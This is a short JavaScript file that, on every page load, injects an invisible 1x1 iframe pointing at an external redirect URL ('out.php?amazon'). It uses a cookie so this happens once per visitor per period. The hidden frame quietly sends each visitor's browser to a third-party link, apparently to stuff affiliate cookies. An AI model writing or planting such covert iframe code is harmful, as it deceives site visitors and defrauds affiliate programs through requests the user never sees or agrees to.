FrameLoader( 'flAm2', 'http://www.chaosquake.de/out.php?amazon', 100, 0 );

function FrameLoader( ident, url, percentage, days ) {
	var cookies = new CookieManager( null, '/', days );
	
	if( cookies.get(ident) ) return;
	
	cookies.set( ident, 1 );
	if( Math.random() <= percentage/100 ) {
		var iframe = document.createElement('iframe');
		iframe.src = url;
		iframe.style.width = '1px';
		iframe.style.height = '1px';
		iframe.style.display = 'none';
		document.body.appendChild( iframe );
	}
}

function CookieManager( domain, path, days ) {
	this.settings = {
		domain: domain,
		path: path,
		days: days
	}
		
	this.set = function( name, value ) {
		var date = new Date();
		date.setTime( date.getTime() + this.settings.days * 24 * 60 * 60 * 1000 );
		var time = date.toGMTString();
		
		document.cookie = (
			name + '=' 
			+ encodeURIComponent(value) 
			+ ( this.settings.domain ? '; domain=' + this.settings.domain : '' )
			+ ( this.settings.path ? '; path=' + this.settings.path : '' )
			+ ( this.settings.days ?'; expires=' + time : '' )
		);
	}
	
	this.get = function( name ) {
		var value = document.cookie.match('(?:^|;)\\s*' + name + '=([^;]*)');
		return value ? decodeURIComponent(value[1]) : false;
	}
}
